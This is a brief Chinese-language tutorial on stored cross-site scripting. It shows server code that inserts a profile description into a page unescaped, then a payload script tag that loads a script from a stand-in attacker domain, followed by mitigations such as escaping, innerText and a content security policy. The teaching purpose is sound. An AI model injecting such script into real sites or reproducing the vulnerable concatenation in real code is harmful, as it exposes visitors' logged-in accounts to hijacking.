持久跨站脚本(XSS)
假设 Bob 拥有一个社交网站,允许用户个性化他们的个人资料。
Alice 转到 Bob 的网站,创建一个帐户,然后转到她的个人资料设置。她将自己的个人资料描述设为 I'm actually too lazy to write something here.
当她的朋友查看她的个人资料时,此代码将在服务器上运行:
if(viewedPerson.profile.description){
page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
page += "<div>This person doesn't have a profile description.</div>";
}
导致此 HTML:
<div>I'm actually too lazy to write something here.</div>
比爱丽丝将她的个人资料描述设置为 <b>I like HTML</b>
。当她访问她的个人资料时,而不是看到
<b>我喜欢 HTML </ b>
她看见
我喜欢 HTML
然后 Alice 将她的个人资料设置为
<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.
每当有人访问她的个人资料时,他们都会在他们的帐户登录时在 Bob 的网站上运行 Alice 的脚本。
减轻
- 在配置文件描述等中转义尖括号
- 将配置文件描述存储在纯文本文件中,然后使用通过
.innerText
添加描述的脚本获取该文件 - 添加内容安全策略 ,拒绝从其他域加载活动内容